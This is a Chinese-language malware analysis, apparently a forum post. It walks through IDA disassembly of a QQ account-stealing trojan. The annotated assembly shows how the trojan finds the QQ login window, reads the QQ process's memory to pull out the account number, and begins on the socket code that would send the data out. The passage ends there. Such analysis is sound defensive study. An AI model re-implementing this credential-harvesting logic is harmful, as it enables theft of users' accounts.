.text:004021F2 C7 44 24 20 01 00 00 00                 mov     [esp+88h+var_68], 1
.text:004021FA 89 5C 24 24                             mov     [esp+88h+var_64], ebx
.text:004021FE 89 5C 24 28                             mov     [esp+88h+var_60], ebx
.text:00402202 89 5C 24 2C                             mov     [esp+88h+var_5C], ebx
.text:00402206 0F 84 67 01 00 00                       jz      loc_402373
.text:0040220C 83 E8 0E                                sub     eax, 0Eh        ; 检测消息是否为WM_PAINT
.text:0040220F 74 1F                                   jz      short loc_402230
.text:00402211 2D F2 01 00 00                          sub     eax, 1F2h       ; 检测消息是否为WM_LBUTTONDOWN
.text:00402216 0F 85 6C 01 00 00                       jnz     loc_402388      ; 不是就跳转
.text:0040221C 53                                      push    ebx             ; lParam
.text:0040221D 6A 02                                   push    2               ; wParam
.text:0040221F 68 A1 00 00 00                          push    0A1h            ; Msg
.text:00402224 56                                      push    esi             ; hWnd
.text:00402225 FF 15 8C 41 40 00                       call    ds:SendMessageA
.text:0040222B E9 58 01 00 00                          jmp     loc_402388




       通过上面这段代码我们可以知道,这个消息处理过程主要就是处理3个消息:WM_CREATE、WM_PAINT和WM_LBUTTONDOWN。WM_PAINT和WM_LBUTTONDOWN这两个消息我们基本可以忽略了,下面就看看WM_CREATE这里面干了些啥。
[Asm] 纯文本查看 复制代码
.text:00402373                         loc_402373:                             ; CODE XREF: sub_4021D0+36j
.text:00402373 53                                      push    ebx
.text:00402374 8D 54 24 24                             lea     edx, [esp+8Ch+var_68]
.text:00402378 52                                      push    edx
.text:00402379 8D 44 24 20                             lea     eax, [esp+90h+var_70]
.text:0040237D 50                                      push    eax
.text:0040237E E8 E5 0B 00 00                          call    GdiplusStartup
.text:00402383 E8 F8 F9 FF FF                          call    sub_401D80




     我们来到处理WM_CREATE消息的地方,看到这调用了一个函数sub_401D80,我们进去看看。
[Asm] 纯文本查看 复制代码
.text:00401D9E B8 41 00 00 00                          mov     eax, 41h
.text:00401DA3 57                                      push    edi
.text:00401DA4 8B 3D B4 40 40 00                       mov     edi, ds:GetModuleHandleA
.text:00401DAA 66 89 44 24 18                          mov     [esp+24h+var_C], ax
.text:00401DAF 66 89 44 24 1C                          mov     [esp+24h+var_8], ax
.text:00401DB4 8D 44 24 0C                             lea     eax, [esp+24h+Type]
.text:00401DB8 50                                      push    eax             ; lpType
.text:00401DB9 B9 54 00 00 00                          mov     ecx, 54h
.text:00401DBE 68 85 00 00 00                          push    85h             ; lpName
.text:00401DC3 6A 00                                   push    0               ; lpModuleName
.text:00401DC5 66 89 4C 24 1A                          mov     [esp+30h+var_16], cx
.text:00401DCA 66 C7 44 24 1C 5F 00                    mov     [esp+30h+var_14], 5Fh
.text:00401DD1 66 C7 44 24 20 43 00                    mov     [esp+30h+var_10], 43h
.text:00401DD8 66 C7 44 24 22 44 00                    mov     [esp+30h+var_E], 44h
.text:00401DDF 66 89 4C 24 26                          mov     [esp+30h+var_A], cx
.text:00401DE4 66 C7 44 24 2A 00 00                    mov     [esp+30h+var_6], 0
.text:00401DEB FF D7                                   call    edi ; GetModuleHandleA
.text:00401DED 50                                      push    eax             ; hModule
.text:00401DEE FF 15 2C 40 40 00                       call    ds:FindResourceW
.text:00401DF4 8B F0                                   mov     esi, eax
.text:00401DF6 85 F6                                   test    esi, esi
.text:00401DF8 0F 84 64 01 00 00                       jz      loc_401F62
.text:00401DFE 53                                      push    ebx
.text:00401DFF 56                                      push    esi             ; hResInfo
.text:00401E00 6A 00                                   push    0               ; lpModuleName
.text:00401E02 FF D7                                   call    edi ; GetModuleHandleA
.text:00401E04 50                                      push    eax             ; hModule
.text:00401E05 FF 15 30 40 40 00                       call    ds:LoadResource
.text:00401E0B 8B D8                                   mov     ebx, eax
.text:00401E0D 85 DB                                   test    ebx, ebx
.text:00401E0F 89 5C 24 0C                             mov     [esp+28h+var_1C], ebx




     发现里面就是加载资源啥的,先不深究。我们现在先要找到的是这个木马怎么去检测QQ正在登陆。通过查看窗口过程我们没有发现定时器消息的处理,而在winmain函数中看到了下面这段代码:
[Asm] 纯文本查看 复制代码
.text:00401936 8D 54 24 10                             lea     edx, [esp+30h+ThreadId]
.text:0040193A 52                                      push    edx             ; lpThreadId
.text:0040193B 6A 00                                   push    0               ; dwCreationFlags
.text:0040193D 6A 00                                   push    0               ; lpParameter
.text:0040193F 68 50 29 40 00                          push    offset StartAddress ; lpStartAddress
.text:00401944 6A 00                                   push    0               ; dwStackSize
.text:00401946 6A 00                                   push    0               ; lpThreadAttributes
.text:00401948 FF 15 58 40 40 00                       call    ds:CreateThread 




    这里创建了一个线程,我们进去看看,在线程中,我们看到这样一段代码:
[Asm] 纯文本查看 复制代码
.text:00402989 8D 8C 24 4A 01 00 00                    lea     ecx, [esp+354h+var_20A]
.text:00402990 53                                      push    ebx             ; Val
.text:00402991 51                                      push    ecx             ; Dst
.text:00402992 66 89 9C 24 50 01 00 00                 mov     [esp+35Ch+String1], bx
.text:0040299A E8 DF 0E 00 00                          call    memset
.text:0040299F 83 C4 18                                add     esp, 18h
.text:004029A2 FF 15 D4 41 40 00                       call    ds:GetForegroundWindow ; 获取活动窗口句柄
.text:004029A8 8B 2D D0 41 40 00                       mov     ebp, ds:GetWindow
.text:004029AE 8B F0                                   mov     esi, eax
.text:004029B0 6A 05                                   push    5               ; uCmd
.text:004029B2 56                                      push    esi             ; hWnd
.text:004029B3 FF D5                                   call    ebp ; GetWindow ; 与指定窗口有特定关系的窗口句柄
.text:004029B5 8B F8                                   mov     edi, eax
.text:004029B7 3B FB                                   cmp     edi, ebx
.text:004029B9 89 5C 24 10                             mov     [esp+344h+var_334], ebx
.text:004029BD 74 5D                                   jz      short loc_402A1C
.text:004029BF 68 04 01 00 00                          push    104h            ; nMaxCount
.text:004029C4 8D 94 24 3C 01 00 00                    lea     edx, [esp+348h+String1]
.text:004029CB 52                                      push    edx             ; lpClassName
.text:004029CC 57                                      push    edi             ; hWnd
.text:004029CD FF 15 CC 41 40 00                       call    ds:GetClassNameW ; 获取窗口类名
.text:004029D3 8D 44 24 28                             lea     eax, [esp+344h+String2]
.text:004029D7 50                                      push    eax             ; lpString2
.text:004029D8 8D 8C 24 3C 01 00 00                    lea     ecx, [esp+348h+String1]
.text:004029DF 51                                      push    ecx             ; lpString1
.text:004029E0 66 C7 44 24 30 45 00                    mov     [esp+34Ch+String2], 45h ; 字符'E'
.text:004029E7 66 C7 44 24 32 64 00                    mov     [esp+34Ch+var_31A], 64h ; 字符'd'
.text:004029EE 66 C7 44 24 34 69 00                    mov     [esp+34Ch+var_318], 69h ; 字符'i'
.text:004029F5 66 C7 44 24 36 74 00                    mov     [esp+34Ch+var_316], 74h ; 字符't'
.text:004029FC 66 89 5C 24 38                          mov     [esp+34Ch+var_314], bx
.text:00402A01 FF 15 60 40 40 00                       call    ds:lstrcmpW     ; 用获取到的类名来和"Edit"进行比较
.text:00402A07 85 C0                                   test    eax, eax
.text:00402A09 74 09                                   jz      short loc_402A14 ; 如果找到类名为"Edit"的窗口则跳转
.text:00402A0B 6A 02                                   push    2               ; uCmd
.text:00402A0D 57                                      push    edi             ; hWnd
.text:00402A0E FF D5                                   call    ebp ; GetWindow
.text:00402A10 85 C0                                   test    eax, eax
.text:00402A12 74 08                                   jz      short loc_402A1C
.text:00402A14
.text:00402A14                         loc_402A14:                             ; CODE XREF: StartAddress+B9j
.text:00402A14 C7 44 24 10 01 00 00 00                 mov     [esp+344h+var_334], 1
.text:00402A1C
.text:00402A1C                         loc_402A1C:                             ; CODE XREF: StartAddress+6Dj
.text:00402A1C                                                                 ; StartAddress+C2j
.text:00402A1C 68 04 01 00 00                          push    104h            ; nMaxCount
.text:00402A21 8D 54 24 38                             lea     edx, [esp+348h+ClassName]
.text:00402A25 52                                      push    edx             ; lpClassName
.text:00402A26 56                                      push    esi             ; hWnd
.text:00402A27 C6 44 24 24 54                          mov     [esp+350h+var_32C], 54h ; 字符'T'
.text:00402A2C C6 44 24 25 58                          mov     [esp+350h+var_32B], 58h ; 字符'X'
.text:00402A31 C6 44 24 26 47                          mov     [esp+350h+var_32A], 47h ; 字符'G'
.text:00402A36 C6 44 24 27 75                          mov     [esp+350h+var_329], 75h ; 字符'u'
.text:00402A3B C6 44 24 28 69                          mov     [esp+350h+var_328], 69h ; 字符'i'
.text:00402A40 C6 44 24 29 46                          mov     [esp+350h+var_327], 46h ; 字符'F'
.text:00402A45 C6 44 24 2A 6F                          mov     [esp+350h+var_326], 6Fh ; 字符'o'
.text:00402A4A C6 44 24 2B 75                          mov     [esp+350h+var_325], 75h ; 字符'u'
.text:00402A4F C6 44 24 2C 6E                          mov     [esp+350h+var_324], 6Eh ; 字符'n'
.text:00402A54 C6 44 24 2D 64                          mov     [esp+350h+var_323], 64h ; 字符'd'
.text:00402A59 C6 44 24 2E 61                          mov     [esp+350h+var_322], 61h ; 字符'a'
.text:00402A5E C6 44 24 2F 74                          mov     [esp+350h+var_321], 74h ; 字符't'
.text:00402A63 C6 44 24 30 69                          mov     [esp+350h+var_320], 69h ; 字符'i'
.text:00402A68 C6 44 24 31 6F                          mov     [esp+350h+var_31F], 6Fh ; 字符'o'
.text:00402A6D C6 44 24 32 6E                          mov     [esp+350h+var_31E], 6Eh ; 字符'n'
.text:00402A72 88 5C 24 33                             mov     [esp+350h+var_31D], bl ; 字符'\0'
.text:00402A76 FF 15 C8 41 40 00                       call    ds:GetClassNameA
.text:00402A7C 8D 44 24 18                             lea     eax, [esp+344h+var_32C]
.text:00402A80 50                                      push    eax             ; lpString2
.text:00402A81 8D 4C 24 38                             lea     ecx, [esp+348h+ClassName]
.text:00402A85 51                                      push    ecx             ; lpString1
.text:00402A86 FF 15 64 40 40 00                       call    ds:lstrcmpA
.text:00402A8C 85 C0                                   test    eax, eax
.text:00402A8E 0F 85 5F 01 00 00                       jnz     loc_402BF3      ; 如果找到的类名不是"TXGuiFoundation"则跳转
.text:00402A94 39 5C 24 10                             cmp     [esp+344h+var_334], ebx ; 检测前一个类名是否为"Edit"
.text:00402A98 0F 85 55 01 00 00                       jnz     loc_402BF3      ; 如果类名为"TXGuiFoundation",但前一个类名不为"Edit"则跳转
.text:00402A9E 8D 54 24 14                             lea     edx, [esp+344h+dwProcessId]
.text:00402AA2 52                                      push    edx             ; lpdwProcessId
.text:00402AA3 56                                      push    esi             ; hWnd
.text:00402AA4 FF 15 50 41 40 00                       call    ds:GetWindowThreadProcessId ; 获取创建该窗口的线程ID
.text:00402AAA 8B 0D 58 D4 40 00                       mov     ecx, dword_40D458
.text:00402AB0 8B 15 E4 63 40 00                       mov     edx, dword_4063E4
.text:00402AB6 8B 6C 24 14                             mov     ebp, [esp+344h+dwProcessId]
.text:00402ABA 33 C0                                   xor     eax, eax
.text:00402ABC 3B CB                                   cmp     ecx, ebx
.text:00402ABE 7E 15                                   jle     short loc_402AD5
.text:00402AC0 8D 7A 3C                                lea     edi, [edx+3Ch]
.text:00402AC3
.text:00402AC3                         loc_402AC3:                             ; CODE XREF: StartAddress+183j
.text:00402AC3 3B 2F                                   cmp     ebp, [edi]
.text:00402AC5 0F 84 CA 00 00 00                       jz      loc_402B95
.text:00402ACB 83 C0 01                                add     eax, 1
.text:00402ACE 83 C7 70                                add     edi, 70h
.text:00402AD1 3B C1                                   cmp     eax, ecx
.text:00402AD3 7C EE                                   jl      short loc_402AC3
.text:00402AD5
.text:00402AD5                         loc_402AD5:                             ; CODE XREF: StartAddress+16Ej
.text:00402AD5 6B C9 70                                imul    ecx, 70h
.text:00402AD8 89 6C 11 3C                             mov     [ecx+edx+3Ch], ebp ; 保存线程ID
.text:00402ADC 8B 15 58 D4 40 00                       mov     edx, dword_40D458
.text:00402AE2 8B 0D E4 63 40 00                       mov     ecx, dword_4063E4
.text:00402AE8 6B D2 70                                imul    edx, 70h
.text:00402AEB 89 74 0A 38                             mov     [edx+ecx+38h], esi ; 保存窗口句柄
.text:00402AEF 83 05 58 D4 40 00 01                    add     dword_40D458, 1




     上面这段代码就是检测QQ的登陆窗口,这是一个死循环(每检测一次之后,sleep300ms,然后再检测,代码就不贴了),如果检测到了QQ的登陆窗口,程序进行一些窗口处理之后,就会来到call    sub_402790这一个函数,我们进去看看这个函数的代码:
[Asm] 纯文本查看 复制代码
.text:004027BE 8B 45 08                                mov     eax, [ebp+arg_0]
.text:004027C1 33 FF                                   xor     edi, edi
.text:004027C3 51                                      push    ecx             ; dwProcessId
.text:004027C4 89 45 C4                                mov     [ebp+var_3C], eax
.text:004027C7 B8 51 00 00 00                          mov     eax, 51h
.text:004027CC 57                                      push    edi             ; bInheritHandle
.text:004027CD 68 10 04 00 00                          push    410h            ; dwDesiredAccess
.text:004027D2 66 C7 45 DC 5C 00                       mov     [ebp+var_24], 5Ch
.text:004027D8 66 89 45 DE                             mov     [ebp+var_22], ax
.text:004027DC 66 89 45 E0                             mov     [ebp+var_20], ax
.text:004027E0 66 C7 45 E2 5C 00                       mov     [ebp+var_1E], 5Ch
.text:004027E6 66 C7 45 E4 57 00                       mov     [ebp+var_1C], 57h
.text:004027EC 66 C7 45 E6 69 00                       mov     [ebp+var_1A], 69h
.text:004027F2 66 C7 45 E8 6E 00                       mov     [ebp+var_18], 6Eh
.text:004027F8 66 89 7D EA                             mov     [ebp+var_16], di
.text:004027FC 89 7D D0                                mov     [ebp+var_30], edi
.text:004027FF FF 15 50 40 40 00                       call    ds:OpenProcess  ; 打开进程
.text:00402805 3B C7                                   cmp     eax, edi
.text:00402807 89 45 CC                                mov     [ebp+hProcess], eax
.text:0040280A 75 07                                   jnz     short loc_402813
.text:0040280C
.text:0040280C                         loc_40280C:                             ; DATA XREF: sub_402790+D1o
.text:0040280C 33 C0                                   xor     eax, eax
.text:0040280E E9 04 01 00 00                          jmp     loc_402917
.text:00402813                         ; ---------------------------------------------------------------------------
.text:00402813
.text:00402813                         loc_402813:                             ; CODE XREF: sub_402790+7Aj
.text:00402813 8D 55 84                                lea     edx, [ebp+SystemInfo]
.text:00402816 52                                      push    edx             ; lpSystemInfo
.text:00402817 FF 15 54 40 40 00                       call    ds:GetSystemInfo ; 获取当前系统信息
.text:0040281D 8B 45 8C                                mov     eax, [ebp+SystemInfo.lpMinimumApplicationAddress] ; 最小寻址空间
.text:00402820
.text:00402820                         loc_402820:                             ; CODE XREF: sub_402790+1B8j
.text:00402820 3B 45 90                                cmp     eax, [ebp+SystemInfo.lpMaximumApplicationAddress] ; 用最小寻址空间来和最大寻址空间进行比较
.text:00402823 89 45 D8                                mov     [ebp+lpBaseAddress], eax
.text:00402826 0F 83 E9 00 00 00                       jnb     loc_402915      ; 如果最小寻址空间比最大寻址空间大则跳转
.text:0040282C 68 98 44 40 00                          push    offset unk_404498
.text:00402831 8D 45 C8                                lea     eax, [ebp+var_38]
.text:00402834 C7 45 FC 00 00 00 00                    mov     [ebp+var_4], 0
.text:0040283B 50                                      push    eax
.text:0040283C C7 45 C8 1F 00 00 00                    mov     [ebp+var_38], 1Fh
.text:00402843 E8 42 10 00 00                          call    _CxxThrowException
.text:00402848                         ; ---------------------------------------------------------------------------
.text:00402848 8B 55 D8                                mov     edx, [ebp+lpBaseAddress]
.text:0040284B 8B 45 CC                                mov     eax, [ebp+hProcess]
.text:0040284E 6A 1C                                   push    1Ch             ; dwLength
.text:00402850 8D 4D A8                                lea     ecx, [ebp+Buffer]
.text:00402853 51                                      push    ecx             ; lpBuffer
.text:00402854 52                                      push    edx             ; lpAddress
.text:00402855 50                                      push    eax             ; hProcess
.text:00402856 FF 15 B0 40 40 00                       call    ds:VirtualQueryEx ; 查询地址空间中内存地址的信息
.text:0040285C 83 F8 1C                                cmp     eax, 1Ch
.text:0040285F 74 06                                   jz      short loc_402867
.text:00402861 B8 0C 28 40 00                          mov     eax, offset loc_40280C
.text:00402866 C3                                      retn
.text:00402867                         ; ---------------------------------------------------------------------------
.text:00402867
.text:00402867                         loc_402867:                             ; CODE XREF: sub_402790+CFj
.text:00402867 B8 6D 28 40 00                          mov     eax, offset loc_40286D
.text:0040286C C3                                      retn                    ; 这里相当于一个跳转
.text:0040286D                         ; ---------------------------------------------------------------------------
.text:0040286D
.text:0040286D                         loc_40286D:                             ; CODE XREF: sub_402790+DCj
.text:0040286D                                                                 ; DATA XREF: sub_402790:loc_402867o
.text:0040286D 81 7D B8 00 10 00 00                    cmp     [ebp+Buffer.State], 1000h
.text:00402874 0F 85 C3 00 00 00                       jnz     loc_40293D
.text:0040287A 83 7D BC 04                             cmp     [ebp+Buffer.Protect], 4
.text:0040287E 0F 85 B9 00 00 00                       jnz     loc_40293D
.text:00402884 8B 45 B4                                mov     eax, [ebp+Buffer.RegionSize]
.text:00402887 3D 00 04 00 00                          cmp     eax, 400h
.text:0040288C 8B F8                                   mov     edi, eax
.text:0040288E 0F 8C AC 00 00 00                       jl      loc_402940
.text:00402894 8D 0C 00                                lea     ecx, [eax+eax]
.text:00402897 51                                      push    ecx             ; Size
.text:00402898 C7 45 D4 00 00 00 00                    mov     [ebp+NumberOfBytesRead], 0
.text:0040289F FF 15 38 41 40 00                       call    ds:malloc       ; 申请内存
.text:004028A5 8B 4D CC                                mov     ecx, [ebp+hProcess]
.text:004028A8 83 C4 04                                add     esp, 4
.text:004028AB 8D 55 D4                                lea     edx, [ebp+NumberOfBytesRead]
.text:004028AE 52                                      push    edx             ; lpNumberOfBytesRead
.text:004028AF 57                                      push    edi             ; nSize
.text:004028B0 8B F0                                   mov     esi, eax
.text:004028B2 8B 45 D8                                mov     eax, [ebp+lpBaseAddress]
.text:004028B5 56                                      push    esi             ; lpBuffer
.text:004028B6 50                                      push    eax             ; lpBaseAddress
.text:004028B7 51                                      push    ecx             ; hProcess
.text:004028B8 FF 15 5C 40 40 00                       call    ds:ReadProcessMemory ; 读取内存
.text:004028BE 85 C0                                   test    eax, eax
.text:004028C0 74 71                                   jz      short loc_402933
.text:004028C2 8B 55 D4                                mov     edx, [ebp+NumberOfBytesRead]
.text:004028C5 52                                      push    edx
.text:004028C6 56                                      push    esi
.text:004028C7 8D 5D DC                                lea     ebx, [ebp+var_24]
.text:004028CA E8 21 FE FF FF                          call    sub_4026F0




     在这个函数中,主要就是读取前面找到的创建窗口的进程的数据,然后将读取出来的数据传入sub_4026F0函数中。读取出来的数据干嘛用?我们接着往下看:
[Asm] 纯文本查看 复制代码
.text:004026F0 55                                      push    ebp
.text:004026F1 8B 6C 24 08                             mov     ebp, [esp+4+arg_0] ; 从内存中读取到的数据的首地址
.text:004026F5 56                                      push    esi
.text:004026F6 8B CB                                   mov     ecx, ebx        ; ebx中存放的是字符串"\\QQ\\Win"
.text:004026F8 57                                      push    edi
.text:004026F9 33 C0                                   xor     eax, eax
.text:004026FB 8D 71 02                                lea     esi, [ecx+2]
.text:004026FE 8B FF                                   mov     edi, edi
.text:00402700
.text:00402700                         loc_402700:                             ; CODE XREF: sub_4026F0+19j
.text:00402700 66 8B 11                                mov     dx, [ecx]
.text:00402703 83 C1 02                                add     ecx, 2
.text:00402706 66 85 D2                                test    dx, dx
.text:00402709 75 F5                                   jnz     short loc_402700
.text:0040270B 2B CE                                   sub     ecx, esi        ; 计算字符串长度
.text:0040270D D1 F9                                   sar     ecx, 1
.text:0040270F 8B F1                                   mov     esi, ecx
.text:00402711 3B 74 24 14                             cmp     esi, [esp+0Ch+arg_4] ; 比较字符串长度和读取到的数据长度的大小
.text:00402715 7F 6A                                   jg      short loc_402781 ; 字符串比读到的数据大小大则跳转
.text:00402717
.text:00402717                         loc_402717:                             ; CODE XREF: sub_4026F0+8Fj
.text:00402717 0F B7 0B                                movzx   ecx, word ptr [ebx]
.text:0040271A 8D 54 45 00                             lea     edx, [ebp+eax*2+0]
.text:0040271E 33 FF                                   xor     edi, edi
.text:00402720 66 3B 0A                                cmp     cx, [edx]       ; 从读取到的内存中取出数据,检测其是否是'\\'
.text:00402723 75 2F                                   jnz     short loc_402754 ; 从字符串尾开始检测
.text:00402725 33 C9                                   xor     ecx, ecx
.text:00402727 85 F6                                   test    esi, esi
.text:00402729 7E 1F                                   jle     short loc_40274A
.text:0040272B EB 03                                   jmp     short loc_402730 ; 这个循环则是在读取到的内存中查找字符串"\\QQ\\Win"
.text:0040272B                         ; ---------------------------------------------------------------------------
.text:0040272D 8D 49 00                                align 10h
.text:00402730
.text:00402730                         loc_402730:                             ; CODE XREF: sub_4026F0+3Bj
.text:00402730                                                                 ; sub_4026F0+54j
.text:00402730 66 8B 2C 4B                             mov     bp, [ebx+ecx*2] ; 这个循环则是在读取到的内存中查找字符串"\\QQ\\Win"
.text:00402734 66 3B 2A                                cmp     bp, [edx]
.text:00402737 75 0F                                   jnz     short loc_402748
.text:00402739 83 C1 01                                add     ecx, 1
.text:0040273C 83 C7 01                                add     edi, 1
.text:0040273F 83 C2 02                                add     edx, 2
.text:00402742 3B CE                                   cmp     ecx, esi
.text:00402744 7C EA                                   jl      short loc_402730 ; 这个循环则是在读取到的内存中查找字符串"\\QQ\\Win"
.text:00402746 EB 02                                   jmp     short loc_40274A
.text:00402748                         ; ---------------------------------------------------------------------------
.text:00402748
.text:00402748                         loc_402748:                             ; CODE XREF: sub_4026F0+47j
.text:00402748 03 C7                                   add     eax, edi
.text:0040274A
.text:0040274A                         loc_40274A:                             ; CODE XREF: sub_4026F0+39j
.text:0040274A                                                                 ; sub_4026F0+56j
.text:0040274A 3B F7                                   cmp     esi, edi
.text:0040274C 74 35                                   jz      short loc_402783 ; esi等于edi则表示字符串已找到
.text:0040274E 8B 6C 24 10                             mov     ebp, [esp+0Ch+arg_0]
.text:00402752 EB 24                                   jmp     short loc_402778
.text:00402754                         ; ---------------------------------------------------------------------------
.text:00402754
.text:00402754                         loc_402754:                             ; CODE XREF: sub_4026F0+33j
.text:00402754 8D 4E FF                                lea     ecx, [esi-1]    ; 从字符串尾开始检测
.text:00402757 85 C9                                   test    ecx, ecx
.text:00402759 7C 17                                   jl      short loc_402772
.text:0040275B 8D 14 06                                lea     edx, [esi+eax]
.text:0040275E 0F B7 54 55 00                          movzx   edx, word ptr [ebp+edx*2+0] ; 从读取的内存数据中取出字符
.text:00402763
.text:00402763                         loc_402763:                             ; CODE XREF: sub_4026F0+7Cj
.text:00402763 66 39 14 4B                             cmp     [ebx+ecx*2], dx ; 这个循环则检测"\\QQ\\Win"中有没有和读取出来的数据相等的字符
.text:00402767 74 07                                   jz      short loc_402770
.text:00402769 83 E9 01                                sub     ecx, 1
.text:0040276C 79 F5                                   jns     short loc_402763 ; 这个循环则检测"\\QQ\\Win"中有没有和读取出来的数据相等的字符
.text:0040276E EB 02                                   jmp     short loc_402772
.text:00402770                         ; ---------------------------------------------------------------------------
.text:00402770
.text:00402770                         loc_402770:                             ; CODE XREF: sub_4026F0+77j
.text:00402770 8B F9                                   mov     edi, ecx
.text:00402772
.text:00402772                         loc_402772:                             ; CODE XREF: sub_4026F0+69j
.text:00402772                                                                 ; sub_4026F0+7Ej
.text:00402772 8B CE                                   mov     ecx, esi
.text:00402774 2B CF                                   sub     ecx, edi
.text:00402776 03 C1                                   add     eax, ecx
.text:00402778
.text:00402778                         loc_402778:                             ; CODE XREF: sub_4026F0+62j
.text:00402778 8D 14 06                                lea     edx, [esi+eax]
.text:0040277B 3B 54 24 14                             cmp     edx, [esp+0Ch+arg_4]
.text:0040277F 7E 96                                   jle     short loc_402717
.text:00402781
.text:00402781                         loc_402781:                             ; CODE XREF: sub_4026F0+25j
.text:00402781 33 C0                                   xor     eax, eax
.text:00402783
.text:00402783                         loc_402783:                             ; CODE XREF: sub_4026F0+5Cj
.text:00402783 5F                                      pop     edi
.text:00402784 5E                                      pop     esi
.text:00402785 5D                                      pop     ebp
.text:00402786 C3                                      retn
.text:00402786                         sub_4026F0      endp




     上面这段代码就是在读取到的内存数据中查找"\\QQ\\Win"字符串。查找的方式是从读取到的数据中取出一个字符,用它和'\\'做比较,如果相等则继续比较,如果不相等则从字符串尾开始查找,看是否有字符和从内存中读取到的字符相等,如果不相等则下次查找的时候就在前一次的基础上偏移"\\QQ\\Win"字符串长度,然后继续查找。如果找到,则返回该字符串在读取到的内存数据中的偏移,反之则返回0。我们接着看sub_4026f0这个函数处理完之后,程序又干了些什么。
[Asm] 纯文本查看 复制代码
.text:004028CF 8B F8                                   mov     edi, eax
.text:004028D1 83 C4 08                                add     esp, 8
.text:004028D4 85 FF                                   test    edi, edi        ; 检测返回值
.text:004028D6 89 7D D0                                mov     [ebp+var_30], edi
.text:004028D9 74 58                                   jz      short loc_402933 ; 为0表示找不到字符串
.text:004028DB 66 83 7C 7E FE 5C                       cmp     word ptr [esi+edi*2-2], 5Ch ; 找到字符串则比较内存数据中前一个字符,看其是否是'\'
.text:004028E1 8D 44 7E FE                             lea     eax, [esi+edi*2-2]
.text:004028E5 74 09                                   jz      short loc_4028F0
.text:004028E7
.text:004028E7                         loc_4028E7:                             ; CODE XREF: sub_402790+15Ej
.text:004028E7 83 E8 02                                sub     eax, 2
.text:004028EA 66 83 38 5C                             cmp     word ptr [eax], 5Ch    ;这里从返回的偏移往前找,知道找到‘\’字符(这里面就是QQ号)
.text:004028EE 75 F7                                   jnz     short loc_4028E7
.text:004028F0
.text:004028F0                         loc_4028F0:                             ; CODE XREF: sub_402790+155j
.text:004028F0 83 C0 02                                add     eax, 2
.text:004028F3 66 83 38 5C                             cmp     word ptr [eax], 5Ch ; 比较字符,看其是否是'\'
.text:004028F7 74 1C                                   jz      short loc_402915
.text:004028F9 8B 55 C4                                mov     edx, [ebp+var_3C]
.text:004028FC 8B C8                                   mov     ecx, eax
.text:004028FE 8B FF                                   mov     edi, edi
.text:00402900
.text:00402900                         loc_402900:                             ; CODE XREF: sub_402790+183j
.text:00402900 66 8B 31                                mov     si, [ecx]    ;这里从内存中取出字符(QQ号)
.text:00402903 66 89 32                                mov     [edx], si     ;保存取出的字符
.text:00402906 83 C0 02                                add     eax, 2
.text:00402909 83 C1 02                                add     ecx, 2
.text:0040290C 83 C2 02                                add     edx, 2
.text:0040290F 66 83 38 5C                             cmp     word ptr [eax], 5Ch
.text:00402913 75 EB                                   jnz     short loc_402900
.text:00402915
.text:00402915                         loc_402915:                             ; CODE XREF: sub_402790+96j
.text:00402915                                                                 ; sub_402790+167j
.text:00402915 8B C7                                   mov     eax, edi        ; 如果都是则返回字符串内在内存中的偏移




     这里是对之前的查找结果做一个判断,如果找到目标字符串,则返回目标字符串的偏移,然后再根据偏移来查找QQ号(这里说明下为什么要在内存中查找"\\QQ\\Win"这个字符串,因为在这个字符串之前就是QQ号,所以在找到目标字符串之后,再往前搜索一下就能找到QQ好了,上面的代码就是搜索QQ号的),否则就继续查找,在内存都读取完了之后返回。然后就是显示窗口,代码如下:
[Asm] 纯文本查看 复制代码
.text:00402B61 85 C0                                   test    eax, eax        ; 检测查找结果
.text:00402B63 74 41                                   jz      short loc_402BA6 ; 找不到就直接弹出窗口,啥都不显示
.text:00402B65 8B 0D 58 D4 40 00                       mov     ecx, dword_40D458
.text:00402B6B 8B 15 3C D4 40 00                       mov     edx, dword_40D43C
.text:00402B71 6B C9 70                                imul    ecx, 70h
.text:00402B74 81 C1 24 64 40 00                       add     ecx, offset unk_406424
.text:00402B7A 51                                      push    ecx             ; lParam
.text:00402B7B 53                                      push    ebx             ; wParam
.text:00402B7C 6A 0C                                   push    0Ch             ; Msg
.text:00402B7E 52                                      push    edx             ; hWnd
.text:00402B7F FF 15 B0 41 40 00                       call    ds:SendMessageW ; 找到就发送个WM_SETTEXT消息,将找到的QQ号显示在编辑框上
.text:00402B85 A1 3C D4 40 00                          mov     eax, dword_40D43C
.text:00402B8A 53                                      push    ebx
.text:00402B8B 6A 01                                   push    1
.text:00402B8D 68 CF 00 00 00                          push    0CFh
.text:00402B92 50                                      push    eax
.text:00402B93 EB 1F                                   jmp     short loc_402BB4
.text:00402B95                         ; ---------------------------------------------------------------------------
.text:00402B95
.text:00402B95                         loc_402B95:                             ; CODE XREF: StartAddress+175j
.text:00402B95 8B C8                                   mov     ecx, eax
.text:00402B97 6B C9 70                                imul    ecx, 70h
.text:00402B9A 83 7C 11 34 01                          cmp     dword ptr [ecx+edx+34h], 1
.text:00402B9F 7F 52                                   jg      short loc_402BF3
.text:00402BA1 E9 56 FF FF FF                          jmp     loc_402AFC
.text:00402BA6                         ; ---------------------------------------------------------------------------
.text:00402BA6
.text:00402BA6                         loc_402BA6:                             ; CODE XREF: StartAddress+213j
.text:00402BA6 8B 0D 3C D4 40 00                       mov     ecx, dword_40D43C ; 
.text:00402BAC 53                                      push    ebx             ; lParam
.text:00402BAD 53                                      push    ebx             ; wParam
.text:00402BAE 68 CF 00 00 00                          push    0CFh            ; Msg
.text:00402BB3 51                                      push    ecx             ; hWnd
.text:00402BB4
.text:00402BB4                         loc_402BB4:                             ; CODE XREF: StartAddress+243j
.text:00402BB4 FF 15 8C 41 40 00                       call    ds:SendMessageA
.text:00402BBA 8B 15 40 D4 40 00                       mov     edx, hWndParent
.text:00402BC0 6A 01                                   push    1               ; nCmdShow
.text:00402BC2 52                                      push    edx             ; hWnd
.text:00402BC3 FF 15 6C 41 40 00                       call    ds:ShowWindow




     在上面的代码中,如果找到,就会把找到的结果显示到对话框上的编辑框中,如下图:
QQ截图20140413110541.png



      到目前为止,解决了查找QQ号的问题,接下来就是怎么获取密码以及把QQ号和密码发送出去的问题了。我们都知道,要想把账号密码发送出去,只能通过socket通信,而这时,我们在IDA的函数名窗口中看到了这一系列函数,如下图:
QQ截图20140413110906.png



     我们双击找到这个函数的反汇编代码,然后通过IDA的交叉参考来找到调用这些函数的地方,代码如下:
[Asm] 纯文本查看 复制代码
.text:00401530 6A 14                                   push    14h             ; nMaxCount
.text:00401532 53                                      push    ebx             ; lpString
.text:00401533 51                                      push    ecx             ; hWnd
